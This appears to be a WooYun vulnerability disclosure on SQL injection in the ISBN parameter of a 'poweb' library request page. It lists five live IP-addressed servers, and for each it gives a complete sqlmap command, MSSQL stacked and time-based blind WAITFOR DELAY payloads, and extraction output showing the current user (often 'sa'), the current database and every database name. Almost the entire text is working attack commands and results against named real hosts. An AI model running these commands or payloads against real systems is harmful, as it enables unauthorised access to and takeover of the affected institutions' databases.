WooYun.org

注入点ISBN
http://202.206.242.26:88/poweb/requestiso.do?status=insert&METAID=7578&PropertyID=&ISBN=7-112-06320-5&SSH=
http://202.197.107.11:8080/poweb/requestiso.do?status=insert&METAID=7578&PropertyID=&ISBN=7-112-06320-5&SSH=
http://210.32.205.51:8080/poweb/requestiso.do?status=insert&METAID=7578&PropertyID=&ISBN=7-112-06320-5&SSH=
http://166.111.120.132/poweb/requestiso.do?status=insert&METAID=7578&PropertyID=&ISBN=7-112-06320-5&SSH=
http://211.67.182.137:8080/poweb/requestiso.do?status=insert&METAID=7578&PropertyID=&ISBN=7-112-06320-5&SSH=
1、
http://202.206.242.26:88/poweb/requestiso.do?status=insert&METAID=7578&PropertyID=&ISBN=7-112-06320-5&SSH=
sqlmap.py -u "http://202.206.242.26:88/poweb/requestiso.do?status=insert&METAID=7578&PropertyID=&ISBN=7-112-06320-5&SSH=" -p "ISBN" --dbs --current-user --current-db
sqlmap identified the following injection points with a total of 124 HTTP(s) req
uests:
---
Place: GET
Parameter: ISBN
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: status=insert&METAID=7578&PropertyID=&ISBN=7-112-06320-5'; WAITFOR
DELAY '0:0:5';--&SSH=
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: status=insert&METAID=7578&PropertyID=&ISBN=7-112-06320-5' WAITFOR D
ELAY '0:0:5'--&SSH=
---
[08:37:18] [INFO] testing MySQL
[08:37:18] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based queries
[08:37:18] [WARNING] the back-end DBMS is not MySQL
[08:37:18] [INFO] testing Oracle
[08:37:18] [WARNING] the back-end DBMS is not Oracle
[08:37:18] [INFO] testing PostgreSQL
[08:37:18] [WARNING] the back-end DBMS is not PostgreSQL
[08:37:18] [INFO] testing Microsoft SQL Server
[08:37:28] [INFO] confirming Microsoft SQL Server
[08:37:49] [INFO] adjusting time delay to 1 second due to good response times
[08:37:49] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2005
[08:37:49] [INFO] fetching current user
[08:37:49] [INFO] retrieved: sa
current user: 'sa'
[08:38:06] [INFO] fetching current database
[08:38:06] [INFO] retrieved: proone
current database: 'proone'
[08:39:16] [INFO] fetching database names
[08:39:16] [INFO] fetching number of databases
[08:39:16] [INFO] retrieved: 5
[08:39:23] [INFO] retrieved: master
[08:40:22] [INFO] retrieved: model
[08:41:17] [INFO] retrieved: msdb
[08:41:58] [INFO] retrieved: proone
[08:43:13] [INFO] retrieved: tempdb
available databases [5]:
[*] [proone\x03]
[*] master
[*] model
[*] msdb
[*] tempdb
2、
http://202.197.107.11:8080/poweb/requestiso.do?status=insert&METAID=7578&PropertyID=&ISBN=7-112-06320-5&SSH=
sqlmap.py -u "http://202.197.107.11:8080/poweb/requestiso.do?status=insert&METAID=7578&PropertyID=&ISBN=7-112-06320-5&SSH=" -p "ISBN" --dbs --current-user --current-db
sqlmap identified the following injection points with a total of 126 HTTP(s) req
uests:
---
Place: GET
Parameter: ISBN
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: status=insert&METAID=7578&PropertyID=&ISBN=7-112-06320-5'; WAITFOR
DELAY '0:0:5';--&SSH=
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: status=insert&METAID=7578&PropertyID=&ISBN=7-112-06320-5' WAITFOR D
ELAY '0:0:5'--&SSH=
---
[09:42:21] [INFO] testing MySQL
[09:42:21] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based queries
[09:42:38] [WARNING] the back-end DBMS is not MySQL
[09:42:38] [INFO] testing Oracle
[09:42:55] [WARNING] the back-end DBMS is not Oracle
[09:42:55] [INFO] testing PostgreSQL
[09:43:12] [WARNING] the back-end DBMS is not PostgreSQL
[09:43:12] [INFO] testing Microsoft SQL Server
[09:43:39] [INFO] confirming Microsoft SQL Server
[09:44:39] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2000
[09:44:39] [INFO] fetching current user
[09:44:39] [INFO] retrieved:
[09:45:06] [INFO] adjusting time delay to 4 seconds due to good response times
sa1
current user: 'sa1'
[09:54:25] [INFO] fetching current database
[09:54:25] [INFO] retrieved: proon
[10:11:41] [ERROR] invalid character detected. retrying..
[10:11:41] [WARNING] increasing time delay to 5 seconds
e11
current database: 'proone11'
[10:21:31] [INFO] fetching database names
[10:21:31] [INFO] fetching number of databases
[10:21:31] [INFO] retrieved: 12
[10:25:24] [INFO] retrieved: CDT
[10:36:29] [ERROR] invalid character detected. retrying..
[10:36:29] [WARNING] increasing time delay to 6 seconds
owe
[10:48:58] [ERROR] invalid character detected. retrying..
[10:48:58] [WARNING] increasing time delay to 7 seconds
r_CHS
[11:06:25] [INFO] retrieved: idl40
[11:24:37] [INFO] retrieved: idltt
[11:43:03] [INFO] retrieved: master
[12:03:40] [INFO] retrieved: model
[12:21:43] [INFO] retrieved: msdb
[12:36:06] [INFO] retrieved: Northwind
[13:07:36] [INFO] retrieved: proone
[13:29:33] [INFO] retrieved: proone11
[13:56:52] [INFO] retrieved: proone28
[14:25:12] [INFO] retrieved: pubs
[14:40:08] [INFO] retrieved: tempdb
available databases [12]:
[*] CDTower_CHS
[*] idl40
[*] idltt
[*] master
[*] model
[*] msdb
[*] Northwind
[*] proone
[*] proone11
[*] proone28
[*] pubs
[*] tempdb
3、
http://210.32.205.51:8080/poweb/requestiso.do?status=insert&METAID=7578&PropertyID=&ISBN=7-112-06320-5&SSH=
sqlmap.py -u "http://210.32.205.51:8080/poweb/requestiso.do?status=insert&METAID=7578&PropertyID=&ISBN=7-112-06320-5&SSH=" -p "ISBN" --dbs --current-user --current-db
sqlmap identified the following injection points with a total of 103 HTTP(s) req
uests:
---
Place: GET
Parameter: ISBN
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: status=insert&METAID=7578&PropertyID=&ISBN=7-112-06320-5'; WAITFOR
DELAY '0:0:5';--&SSH=
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: status=insert&METAID=7578&PropertyID=&ISBN=7-112-06320-5' WAITFOR D
ELAY '0:0:5'--&SSH=
---
[11:03:46] [INFO] testing MySQL
[11:03:46] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based queries
[11:03:51] [WARNING] the back-end DBMS is not MySQL
[11:03:51] [INFO] testing Oracle
[11:03:56] [WARNING] the back-end DBMS is not Oracle
[11:03:56] [INFO] testing PostgreSQL
[11:04:01] [WARNING] the back-end DBMS is not PostgreSQL
[11:04:01] [INFO] testing Microsoft SQL Server
[11:04:15] [INFO] confirming Microsoft SQL Server
[11:04:51] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2005
[11:04:52] [INFO] fetching current user
[11:04:52] [INFO] retrieved:
[11:05:56] [INFO] adjusting time delay to 4 seconds due to good response times
p
[11:06:40] [INFO] adjusting time delay to 3 seconds due to good response times
roone
current user: 'proone'
[11:12:26] [INFO] fetching current database
[11:12:26] [INFO] retrieved: prooneproone
current database: 'prooneproone'
[11:26:17] [INFO] fetching database names
[11:26:17] [INFO] fetching number of databases
[11:26:17] [INFO] retrieved: 6
[11:27:14] [INFO] retrieved: master
[11:33:57] [INFO] retrieved: model
[11:39:58] [INFO] retrieved: msdb
[11:44:36] [INFO] retrieved: proone
[11:52:01] [INFO] retrieved: prooneproone
[12:05:58] [INFO] retrieved: tempdb
available databases [6]:
[*] master
[*] model
[*] msdb
[*] proone
[*] prooneproone
[*] tempdb
4、
http://166.111.120.132/poweb/requestiso.do?status=insert&METAID=7578&PropertyID=&ISBN=7-112-06320-5&SSH=
sqlmap.py -u "http://166.111.120.132/poweb/requestiso.do?status=insert&METAID=7578&PropertyID=&ISBN=7-112-06320-5&SSH=" -p "ISBN" --dbs --current-user --current-db
sqlmap identified the following injection points with a total of 103 HTTP(s) req
uests:
---
Place: GET
Parameter: ISBN
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: status=insert&METAID=7578&PropertyID=&ISBN=7-112-06320-5'; WAITFOR
DELAY '0:0:5';--&SSH=
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: status=insert&METAID=7578&PropertyID=&ISBN=7-112-06320-5' WAITFOR D
ELAY '0:0:5'--&SSH=
---
[16:17:24] [INFO] testing MySQL
[16:17:24] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based queries
[16:17:29] [WARNING] the back-end DBMS is not MySQL
[16:17:29] [INFO] testing Oracle
[16:17:34] [WARNING] the back-end DBMS is not Oracle
[16:17:34] [INFO] testing PostgreSQL
[16:17:39] [WARNING] the back-end DBMS is not PostgreSQL
[16:17:39] [INFO] testing Microsoft SQL Server
[16:17:53] [INFO] confirming Microsoft SQL Server
[16:18:31] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2005
[16:18:31] [INFO] fetching current user
[16:18:31] [INFO] retrieved: sa
current user: 'sa\x03'
[16:22:41] [INFO] fetching current database
[16:22:41] [INFO] retrieved: proone
current database: 'proone'
[16:32:21] [INFO] fetching database names
[16:32:21] [INFO] fetching number of databases
[16:32:21] [INFO] retrieved: 6
[16:33:30] [INFO] retrieved: cadal
[16:41:25] [INFO] retrieved: master
[16:51:17] [INFO] retrieved: model
[16:59:06] [INFO] retrieved:
[17:00:51] [ERROR] invalid character detected. retrying..
[17:00:51] [WARNING] increasing time delay to 6 seconds
msdb
[17:08:21] [INFO] retrieved: proone
[17:18:53] [INFO] retrieved: te
[17:23:43] [ERROR] invalid character detected. retrying..
[17:23:43] [WARNING] increasing time delay to 7 seconds
mpdb
available databases [6]:
[*] [cadal\x03]
[*] [master\x19]
[*] [msdb\x02]
[*] model
[*] proone
[*] tempdb
5、
http://211.67.182.137:8080/poweb/requestiso.do?status=insert&METAID=7578&PropertyID=&ISBN=7-112-06320-5&SSH=
sqlmap.py -u "http://211.67.182.137:8080/poweb/requestiso.do?status=insert&METAID=7578&PropertyID=&ISBN=7-112-06320-5&SSH=" -p "ISBN" --dbs --current-user --current-db
sqlmap identified the following injection points with a total of 102 HTTP(s) req
uests:
---
Place: GET
Parameter: ISBN
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: status=insert&METAID=7578&PropertyID=&ISBN=7-112-06320-5'; WAITFOR
DELAY '0:0:5';--&SSH=
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: status=insert&METAID=7578&PropertyID=&ISBN=7-112-06320-5' WAITFOR D
ELAY '0:0:5'--&SSH=
---
[16:55:36] [INFO] testing MySQL
[16:55:36] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based queries
[16:55:53] [WARNING] the back-end DBMS is not MySQL
[16:55:53] [INFO] testing Oracle
[16:56:10] [WARNING] the back-end DBMS is not Oracle
[16:56:10] [INFO] testing PostgreSQL
[16:56:27] [WARNING] the back-end DBMS is not PostgreSQL
[16:56:27] [INFO] testing Microsoft SQL Server
[16:56:54] [INFO] confirming Microsoft SQL Server
[16:57:54] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2000
[16:57:54] [INFO] fetching current user
[16:57:54] [INFO] retrieved:
[16:58:21] [INFO] adjusting time delay to 4 seconds due to good response times
sa
current user: 'sa'
[17:05:10] [INFO] fetching current database
[17:05:10] [INFO] retrieved: proone
current database: 'proone'
[17:24:17] [INFO] fetching database names
[17:24:17] [INFO] fetching number of databases
[17:24:18] [INFO] retrieved: 9
[17:26:56] [INFO] retrieved: cxbook
[17:45:46] [INFO] retrieved: Dservices
[18:12:08] [INFO] retrieved: ma
[18:20:17] [ERROR] invalid character detected. retrying..
[18:20:17] [WARNING] increasing time delay to 5 seconds
s
[18:26:22] [ERROR] invalid character detected. retrying..
[18:26:22] [WARNING] increasing time delay to 6 seconds
t
[18:32:48] [ERROR] invalid character detected. retrying..
[18:32:48] [WARNING] increasing time delay to 7 seconds
er
[18:40:51] [INFO] retrieved: model
[18:59:01] [INFO] retrieved: msd
[19:11:37] [ERROR] invalid character detected. retrying..
[19:11:37] [WARNING] increasing time delay to 8 seconds
b
[19:16:38] [INFO] retrieved: N
[19:23:34] [ERROR] invalid character detected. retrying..
[19:23:34] [WARNING] increasing time delay to 9 seconds
orthwind
[19:54:29] [INFO] retrieved:
[19:58:34] [ERROR] unable to properly validate last character value ('p')..
proone
[20:15:05] [INFO] retrieved: pubs
[20:28:41] [INFO] retrieved: tempdb
available databases [9]:
[*] cxbook
[*] Dservices
[*] master
[*] model
[*] msdb
[*] Northwind
[*] proone
[*] pubs
[*] tempdb